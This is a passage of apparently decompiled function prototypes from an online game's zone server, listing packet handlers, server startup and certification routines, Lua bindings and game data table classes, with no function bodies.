ZoneRingPacketExpBonus::zrpb_Request(ZoneRingPacketExpBonus *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPlayer::zrpb_Success(ZoneRingPacketSummonPlayer *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayer::zrpb_Success(ZoneRingPacketFindPlayer *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayerByNormalUser::zrpb_Success(ZoneRingPacketFindPlayerByNormalUser *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketKickPlayerOut::zrpb_Success(ZoneRingPacketKickPlayerOut *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPlayer::zrpb_Failure(ZoneRingPacketSummonPlayer *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayer::zrpb_Failure(ZoneRingPacketFindPlayer *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayerByNormalUser::zrpb_Failure(ZoneRingPacketFindPlayerByNormalUser *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketKickPlayerOut::zrpb_Failure(ZoneRingPacketKickPlayerOut *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPartner::zrpb_Request(ZoneRingPacketSummonPartner *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPartner::zrpb_Success(ZoneRingPacketSummonPartner *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPartner::zrpb_Failure(ZoneRingPacketSummonPartner *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketRefreshWeddingInfo::zrpb_Success(ZoneRingPacketRefreshWeddingInfo *this, unsigned int RegisterNumber, NETCOMMAND *netcmd); void __thiscall ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request(ZoneRingPacketEmtpyInstanceDungeon *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success(ZoneRingPacketEmtpyInstanceDungeon *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindInstanceDungeon::zrpb_Success(ZoneRingPacketFindInstanceDungeon *this, FieldOption::InstanceDungeonInfo *Info, #1265 *EmptyField); void __thiscall ZoneRingPacketItemBonus::zrpb_Success(ZoneRingPacketItemBonus *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketExpBonus::zrpb_Success(ZoneRingPacketExpBonus *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketRefreshWeddingInfo::zrpb_Request(ZoneRingPacketRefreshWeddingInfo *this, unsigned int RegisterNumber, NETCOMMAND *netcmd); void __thiscall ZoneRingPacketFindInstanceDungeon::zrpb_Request(ZoneRingPacketFindInstanceDungeon *this, #593 *, NETCOMMAND *, FieldOption::InstanceDungeonInfo *); void __thiscall ZoneIPContainer::_ZoneIPContainer(ZoneIPContainer *this); void __thiscall ZoneIPContainer::zipc_Store(ZoneIPContainer *this, unsigned int machine, char *ipaddr, unsigned __int16 port); Name4 *__thiscall ZoneIPContainer::zipc_GetNextIP(ZoneIPContainer *this); void __thiscall ZoneIPContainer::zipc_SetNextIP(ZoneIPContainer *this, unsigned int mymachine); int __thiscall ZoneIPContainer::zipc_GetNextZoneNo(ZoneIPContainer *this, unsigned int mymachine); char __thiscall ZoneIPContainer::zipc_Mechine2IP(ZoneIPContainer *this, char machine, Name4 *zoneip, unsigned __int16 *port); void __thiscall ZoneIPContainer::ZoneIPContainer(ZoneIPContainer *this); unsigned int __thiscall ClockWatch::cw_Set(ClockWatch *this); void __cdecl message(char *msg); void __thiscall CWeaponTitleZone::CWeaponTitleZone(CWeaponTitleZone *this); void __thiscall CWeaponTitleZone::_CWeaponTitleZone(CWeaponTitleZone *this); void __thiscall CCharacterTitleData::CCharacterTitleData(BinaryData *this); void __thiscall CCharacterTitleData::_CCharacterTitleData(BinaryData *this); void __thiscall CCharacterTitleDataStateServer::CCharacterTitleDataStateServer(CCharacterTitleDataStateServer *this); void __thiscall CCharacterTitleDataStateServer::_CCharacterTitleDataStateServer(CCharacterTitleDataStateServer *this); CServerInfo *__thiscall ZoneServer::zs_mechineinfo(ZoneServer *this); CServerInfo::MY_SERVER *__thiscall ZoneServer::zs_worlddata(ZoneServer *this); void __thiscall ZoneServer::zs_serviceend(ZoneServer *this); char *__thiscall ZoneServer::zs_GetServerGroup(ZoneServer *this); char __thiscall ZoneServer::zs_Getportinfo(ZoneServer *this, CServerInfo::SERVER_INFO *serverinfo, int towhere); char __thiscall ZoneServer::zs_ServerConnect2Zone(ZoneServer *this, ZoneBaseSession *session); char __thiscall ZoneServer::zs_ServerConnect(ZoneServer *this, ZoneBaseSession *session, int towhere, int limit); char __thiscall ZoneServer::zs_Start_Acceptor(ZoneServer *this); unsigned int __stdcall ZoneServer::zs_ServiceThreadFunction(void *param); unsigned int __stdcall ZoneServer::zs_stackcheckfunc(void *param); int __thiscall ZoneServer::zs_PacketProcess(ZoneServer *this, char *from, ZoneBaseSession *session); char __thiscall ShineObjectClass::ShinePlayer::so_ply_LoginIPSet(int this, char a0, char a1, char a2, char a3); void __cdecl EraseOldLogList(char *filename); int __cdecl EraseLog(); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this); WinService *__cdecl Singleton::getInstance(); void __thiscall SocketBundle::sb_Routine(SocketBundle *this, char *flag, ZoneServer *zone, int towhere); void __thiscall SleepManager::sm_Sleep(SleepManager *this); void __thiscall SleepManager::sm_Routine(SleepManager *this); void __thiscall ZoneServer::__unnamed::___unnamed(CCsl *this); void __thiscall ZoneServer::_ZoneServer(ZoneServer *this); char __thiscall ZoneServer::zs_ServiceRoutineStart(ZoneServer *this); int __cdecl ZoneServer_zs_service_acceptor(lua_State *L); int __cdecl ZoneServer_zs_service_iocp(lua_State *L); char __thiscall ZoneServer::zs_Start_StackChecker(ZoneServer *this); void __thiscall ZoneServer::zs_connect(ZoneServer *this); bool __thiscall ZoneServer::ParseCmd(ZoneServer *this, char *cmdLine); void __thiscall SocketBundle::sb_HeartBeatCheck(SocketBundle *this, char *flag); void __thiscall SocketBundle::sb_DisconnectCheck(SocketBundle *this, char *flag); void __thiscall SocketBundle::sb_Packet(SocketBundle *this, char *flag, ZoneServer *zone); void __thiscall ZoneServer::ZoneServer(ZoneServer *this); int __thiscall ZoneServer::zs_start(ZoneServer *this, char *cmdLine); int __cdecl ZoneServer_zs_service_stackchecker(lua_State *L); bool __cdecl ZoneServer::zs_CertifyRoutine(char *addr, int port); unsigned int __stdcall ZoneServer::zs_certification(void *param); void __thiscall ZoneServer::zs_disconnect(ZoneServer *this); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); char __thiscall ZoneServer::zs_Start_Certification(ZoneServer *this); int __cdecl ZoneServer_zs_service_certification(lua_State *L); unsigned int __stdcall ZoneServer::zs_mainthreadfunction(void *param); char __thiscall ZoneServer::zs_Start_MainThread(ZoneServer *this); int __cdecl ZoneServer_zs_service_mainthread(lua_State *L); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last); void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this); void __thiscall std::set_std::allocator>::set_std::allocator>(std::set,std::allocator > *this); // void __thiscall Metronome::Metronome(Metronome *this); void __thiscall FieldMap::fm_StartScript(void *fldindex, int lst, __int16 handle); void __thiscall EventHeartPing::EventHeartPing(EventHeartPing *this); int __cdecl Parameter_RunSpeed(lua_State *L); int __cdecl Parameter_WalkSpeed(lua_State *L); int __cdecl ZoneServer_zs_start_black(lua_State *L); int __cdecl ZoneServer_zs_start_earth(lua_State *L); int __cdecl ZoneServer_zs_start_wide(lua_State *L); int __cdecl ZoneServer_zs_start_sun(lua_State *L); int __cdecl ZoneServer_zs_start_home(lua_State *L); int __cdecl ZoneServer_zs_start_star(lua_State *L); int __cdecl ZoneServer_zs_start_moon(lua_State *L); int __cdecl ZoneServer_zs_start_yellow(lua_State *L); int __cdecl ZoneServer_zs_start_sky(lua_State *L); void __thiscall List::_List(List *this); char __thiscall List::l_PushZ(List *this, EventReserveListElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, EventReserveListElement *ele); char __thiscall List::l_PopZ(List *this, EventReserveListElement *ele); GameDBSession *__thiscall SocketBundle::__unnamed::__unnamed(GameDBSession *this); void __thiscall SocketBundle::__unnamed::___unnamed(void *); // idb GameLogSession *__thiscall SocketBundle::__unnamed::__unnamed(GameLogSession *this); void __thiscall SocketBundle::__unnamed::___unnamed(void *); // idb WorldManagerSession *__thiscall SocketBundle::__unnamed::__unnamed(WorldManagerSession *this); void __thiscall SocketBundle::__unnamed::___unnamed(void *); // idb unsigned int __thiscall std::vector>::size(std::vector > *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __cdecl std::fill(TickTimer *_First, TickTimer *_Last, TickTimer *_Val); void __cdecl std::fill(GBReward *_First, GBReward *_Last, GBReward *_Val); char __thiscall ListIteratorDefault::lid_Call(ListIteratorDefault *this, ORColumnHeader *ele, unsigned __int16 handle); void __thiscall EventReserveContainer::_EventReserveContainer(EventReserveContainer *this); int __cdecl ZoneServer_zs_start_sink(lua_State *L); char __thiscall EventReserveListElement::erle_Routine(EventReserveListElement *this, List *lst, unsigned __int16 handle); char __thiscall List::l_PushA(List *this, EventReserveListElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv); void __thiscall SocketBundle::_SocketBundle(SocketBundle *this); void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv); void __thiscall SocketBundle::_SocketBundle(SocketBundle *this); void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv); void __thiscall SocketBundle::_SocketBundle(SocketBundle *this); void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); bool __thiscall IIDTableBase::IsValidID(IIDTableBase *this, int ID); bool __thiscall IIDTableBase::DataProcess(IIDTableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); bool __thiscall IIDTableBase::IsValidID(IIDTableBase *this, char ID); bool __thiscall IIDTableBase::DataProcess(IIDTableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall AccUpGradeInfoTable::_scalar_deleting_destructor_(AccUpGradeInfoTable *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); GBReward *__cdecl std::copy_backward(GBReward *_First, GBReward *_Last, GBReward *_Dest); #593 **__cdecl std::copy(#593 **, #593 **, #593 **); int __cdecl ZoneServer_zs_start_tough(lua_State *L); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); TOURNAMENT_PLAYER_SCORE *__thiscall std::vector>::_Ufill(std::vector > *this, TOURNAMENT_PLAYER_SCORE *_Ptr, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val); void __thiscall GuildTournamentScoreTable::GuildTournamentScoreTable(GuildTournamentScoreTable *this); void *__thiscall GuildTournamentScoreTable::_scalar_deleting_destructor_(GuildTournamentScoreTable *this, unsigned int); void __thiscall GuildTournamentScoreTable::_GuildTournamentScoreTable(GuildTournamentScoreTable *this); void __thiscall GuildTournamentLvGapTable::GuildTournamentLvGapTable(GuildTournamentLvGapTable *this); void *__thiscall GuildTournamentLvGapTable::_scalar_deleting_destructor_(GuildTournamentLvGapTable *this, unsigned int); void __thiscall GuildTournamentLvGapTable::_GuildTournamentLvGapTable(GuildTournamentLvGapTable *this); void __thiscall GuildTournamentOccupyTable::GuildTournamentOccupyTable(GuildTournamentOccupyTable *this); void *__thiscall GuildTournamentOccupyTable::_vector_deleting_destructor_(GuildTournamentOccupyTable *this, unsigned int); void __thiscall GuildTournamentOccupyTable::_GuildTournamentOccupyTable(GuildTournamentOccupyTable *this); void __thiscall GuildTournamentSkillTable::GuildTournamentSkillTable(GuildTournamentSkillTable *this); void *__thiscall GuildTournamentSkillTable::_scalar_deleting_destructor_(GuildTournamentSkillTable *this, unsigned int); void __thiscall GuildTournamentSkillTable::_GuildTournamentSkillTable(GuildTournamentSkillTable *this); void __thiscall GuildTournamentMasterBuffTable::GuildTournamentMasterBuffTable(GuildTournamentMasterBuffTable *this); void *__thiscall GuildTournamentMasterBuffTable::_vector_deleting_destructor_(GuildTournamentMasterBuffTable *this, unsigned int); void __thiscall GuildTournamentMasterBuffTable::_GuildTournamentMasterBuffTable(GuildTournamentMasterBuffTable *this); void __thiscall GTIGetRateTable::GTIGetRateTable(GTIGetRateTable *this); void *__thiscall GTIGetRateTable::_vector_deleting_destructor_(GTIGetRateTable *this, unsigned int); void __thiscall GTIGetRateTable::_GTIGetRateTable(GTIGetRateTable *this); void __thiscall GTIGetRateGapTable::GTIGetRateGapTable(GTIGetRateGapTable *this); void *__thiscall GTIGetRateGapTable::_vector_deleting_destructor_(GTIGetRateGapTable *this, unsigned int); void __thiscall GTIGetRateGapTable::_GTIGetRateGapTable(GTIGetRateGapTable *this); void __thiscall GTIServerTable::GTIServerTable(GTIServerTable *this); void *__thiscall GTIServerTable::_scalar_deleting_destructor_(GTIServerTable *this, unsigned int); void __thiscall GTIServerTable::_GTIServerTable(GTIServerTable *this); void __thiscall GTIBreedSubjectTable::GTIBreedSubjectTable(GTIBreedSubjectTable *this); void *__thiscall GTIBreedSubjectTable::_scalar_deleting_destructor_(GTIBreedSubjectTable *this, unsigned int); void __thiscall GTIBreedSubjectTable::_GTIBreedSubjectTable(GTIBreedSubjectTable *this); void __thiscall GTWinScoreTable::GTWinScoreTable(GTWinScoreTable *this); void *__thiscall GTWinScoreTable::_scalar_deleting_destructor_(GTWinScoreTable *this, unsigned int); void __thiscall GTWinScoreTable::_GTWinScoreTable(GTWinScoreTable *this); void __thiscall AccUpGradeTable::AccUpGradeTable(AccUpGradeTable *this); void *__thiscall AccUpGradeTable::_scalar_deleting_destructor_(AccUpGradeTable *this, unsigned int); void __thiscall AccUpGradeTable::_AccUpGradeTable(AccUpGradeTable *this); void __thiscall ProdSucRateTable::ProdSucRateTable(ProdSucRateTable *this); void *__thiscall ProdSucRateTable::_scalar_deleting_destructor_(ProdSucRateTable *this, unsigned int); void __thiscall ProdSucRateTable::_ProdSucRateTable(ProdSucRateTable *this); void __thiscall MysteryVaultTable::MysteryVaultTable(MysteryVaultTable *this); void *__thiscall MysteryVaultTable::_scalar_deleting_destructor_(MysteryVaultTable *this, unsigned int); void __thiscall MysteryVaultTable::_MysteryVaultTable(MysteryVaultTable *this); void __thiscall LevelGap_Player_to_Monster::LevelGap_Player_to_Monster(LevelGap_Player_to_Monster *this); void *__thiscall LevelGap_Player_to_Monster::_vector_deleting_destructor_(LevelGap_Player_to_Monster *this, unsigned int); void __thiscall LevelGap_Player_to_Monster::_LevelGap_Player_to_Monster(LevelGap_Player_to_Monster *this); void __thiscall LevelGap_Monster_to_Player::LevelGap_Monster_to_Player(LevelGap_Monster_to_Player *this); void *__thiscall LevelGap_Monster_to_Player::_scalar_deleting_destructor_(LevelGap_Monster_to_Player *this, unsigned int); void __thiscall LevelGap_Monster_to_Player::_LevelGap_Monster_to_Player(LevelGap_Monster_to_Player *this); void __thiscall PKQuestLVGapTable::PKQuestLVGapTable(PKQuestLVGapTable *this); void *__thiscall PKQuestLVGapTable::_vector_deleting_destructor_(PKQuestLVGapTable *this, unsigned int); void __thiscall PKQuestLVGapTable::_PKQuestLVGapTable(PKQuestLVGapTable *this); void __thiscall BelongDiceTable::BelongDiceTable(BelongDiceTable *this); void *__thiscall BelongDiceTable::_vector_deleting_destructor_(BelongDiceTable *this, unsigned int); void __thiscall BelongDiceTable::_BelongDiceTable(BelongDiceTable *this); void __thiscall ActionRangeFactors::ActionRangeFactors(ActionRangeFactors *this); void *__thiscall ActionRangeFactors::_scalar_deleting_destructor_(ActionRangeFactors *this, unsigned int); void __thiscall ActionRangeFactors::_ActionRangeFactors(ActionRangeFactors *this); void __thiscall ItemActionConditions::ItemActionConditions(ItemActionConditions *this); void *__thiscall ItemActionConditions::_vector_deleting_destructor_(ItemActionConditions *this, unsigned int); void __thiscall ItemActionConditions::_ItemActionConditions(ItemActionConditions *this); void __thiscall ItemActionEffects::ItemActionEffects(ItemActionEffects *this); void *__thiscall ItemActionEffects::_scalar_deleting_destructor_(ItemActionEffects *this, unsigned int); void __thiscall ItemActionEffects::_ItemActionEffects(ItemActionEffects *this); void __thiscall ItemActions::ItemActions(ItemActions *this); void *__thiscall ItemActions::_scalar_deleting_destructor_(ItemActions *this, unsigned int); void __thiscall ItemActions::_ItemActions(ItemActions *this); void __thiscall SetEffectTable::SetEffectTable(SetEffectTable *this); void *__thiscall SetEffectTable::_scalar_deleting_destructor_(SetEffectTable *this, unsigned int); void __thiscall SetEffectTable::_SetEffectTable(SetEffectTable *this); void __thiscall ActionEffectItemTable::ActionEffectItemTable(ActionEffectItemTable *this); void *__thiscall ActionEffectItemTable::_scalar_deleting_destructor_(ActionEffectItemTable *this, unsigned int); void __thiscall ActionEffectItemTable::_ActionEffectItemTable(ActionEffectItemTable *this); void __thiscall ActionEffectAbStateTable::ActionEffectAbStateTable(ActionEffectAbStateTable *this); void *__thiscall ActionEffectAbStateTable::_scalar_deleting_destructor_(ActionEffectAbStateTable *this, unsigned int); void __thiscall ActionEffectAbStateTable::_ActionEffectAbStateTable(ActionEffectAbStateTable *this); void __thiscall EnchantSocketRateTable::EnchantSocketRateTable(EnchantSocketRateTable *this); void *__thiscall EnchantSocketRateTable::_vector_deleting_destructor_(EnchantSocketRateTable *this, unsigned int); void __thiscall EnchantSocketRateTable::_EnchantSocketRateTable(EnchantSocketRateTable *this); void __thiscall IIDTableBase::IIDTableBase(IIDTableBase *this); void __thiscall IIDTableBase::IIDTableBase(IIDTableBase *this); void __thiscall EventReserveContainer::EventReserveContainer(EventReserveContainer *this, int maxevent); bool __thiscall ZoneServer::zs_LuaFromHTML(ZoneServer *this, char *address, int port); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); void __thiscall AccUpGradeInfoTable::_AccUpGradeInfoTable(AccUpGradeInfoTable *this); void *__thiscall IIDTableBase::_vector_deleting_destructor_(LevelGap_Player_to_Player *this, unsigned int); void __thiscall LevelGap_Player_to_Player::_LevelGap_Player_to_Player(LevelGap_Player_to_Player *this); void __thiscall ZoneServer::zs_start_old(ZoneServer *this); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); void __thiscall std::vector>::_Xlen(std::vector > *this); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); int __cdecl loc_57F6C1(int pkChar); // weak void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GBEventCode *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GBReward *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, NPCAction::ICondition *const *_Val); int __cdecl ZoneServer_zs_start_house(lua_State *L); int __cdecl ZoneServer_zs_start_full(lua_State *L); int __cdecl ZoneServer_zs_start_open(lua_State *L); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GBEventCode *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GBReward *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, NPCAction::ICondition *_Val); void __thiscall std::vector>::push_back(std::vector > *this, GBEventCode *_Val); void __thiscall std::vector>::push_back(std::vector > *this, GBReward *_Val); void __thiscall NPCAction::Manager::generate_n(NPCAction::Manager *this, unsigned int n, NPCAction::CondGen_OptionReader generator); void __thiscall NPCAction::Manager::generate_n(NPCAction::Manager *this, unsigned int n, NPCAction::ActionGen_OptionReader generator); void __thiscall SHND::CommonData>::cd_Load(SHND::CommonData *this); void __thiscall SHND::CommonData>::cd_Load(SHND::CommonData > *this); void __thiscall SHND::CommonData::cd_Load(SHND::CommonData *this); bool __cdecl NPCAction::Util::loadFromOptionReader>(NPCAction::Manager *destManager, const char *fileName); bool __cdecl NPCAction::Util::loadFromOptionReader>(NPCAction::Manager *destManager, const char *fileName); bool __thiscall ItemActions::DataProcess(ItemActions *this); std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::_Insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode, std::pair *_Val); void __thiscall Action::addCondition(Action *this, unsigned __int16 conditionID); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, IActEffect *const *_Val); void __thiscall Action::addEffect(Action *this, unsigned __int16 effectID); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, IActEffect *const *_Val); void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this, 